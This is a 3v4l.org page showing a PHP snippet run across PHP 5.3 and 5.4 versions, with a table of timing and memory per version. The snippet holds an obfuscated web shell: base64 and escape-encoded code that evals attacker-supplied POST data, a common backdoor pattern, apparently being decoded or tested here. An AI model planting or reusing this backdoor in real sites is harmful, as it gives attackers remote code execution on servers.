3v4l.org

run code in 300+ PHP versions simultaneously
<?php 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";print($___($__));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.300.0200.05012.50
5.4.290.0130.05412.49
5.4.280.0140.05112.39
5.4.270.0100.05112.39
5.4.260.0070.05212.39
5.4.250.0110.05312.39
5.4.240.0110.05012.39
5.4.230.0110.05312.38
5.4.220.0140.05112.38
5.4.210.0090.05112.38
5.4.200.0080.05112.38
5.4.190.0060.05412.38
5.4.180.0070.05612.38
5.4.170.0110.05012.38
5.4.160.0120.04412.38
5.4.150.0150.04212.38
5.4.140.0090.05112.07
5.4.130.0120.04412.05
5.4.120.0060.05212.01
5.4.110.0060.05312.01
5.4.100.0060.04812.01
5.4.90.0090.04712.01
5.4.80.0120.05112.01
5.4.70.0110.04712.00
5.4.60.0130.04712.01
5.4.50.0080.05012.01
5.4.40.0130.04412.00
5.4.30.0120.04511.99
5.4.20.0120.04611.98
5.4.10.0100.05011.99
5.4.00.0120.04811.48
5.3.280.0090.05312.70
5.3.270.0100.06112.73
5.3.260.0100.05712.72
5.3.250.0150.04912.72
5.3.240.0150.05212.72
5.3.230.0090.05812.71
5.3.220.0150.05312.68
5.3.210.0070.06212.68
5.3.200.0120.05612.68
5.3.190.0070.05712.68
5.3.180.0140.04912.67
5.3.170.0130.05212.67
5.3.160.0080.05712.68
5.3.150.0110.05512.68
5.3.140.0080.05612.66
5.3.130.0170.06712.66
5.3.120.0110.05512.66
5.3.110.0120.05312.66
5.3.100.0120.05312.11
5.3.90.0090.05412.09
5.3.80.0070.05312.07
5.3.70.0120.05012.08
5.3.60.0100.05312.06
5.3.50.0090.05712.00
5.3.40.0110.05312.00
5.3.30.0070.05711.95
5.3.20.0080.05311.73
5.3.10.0110.05411.70
5.3.00.0140.05411.68

preferences:
140.03 ms | 1394 KiB | 7 Q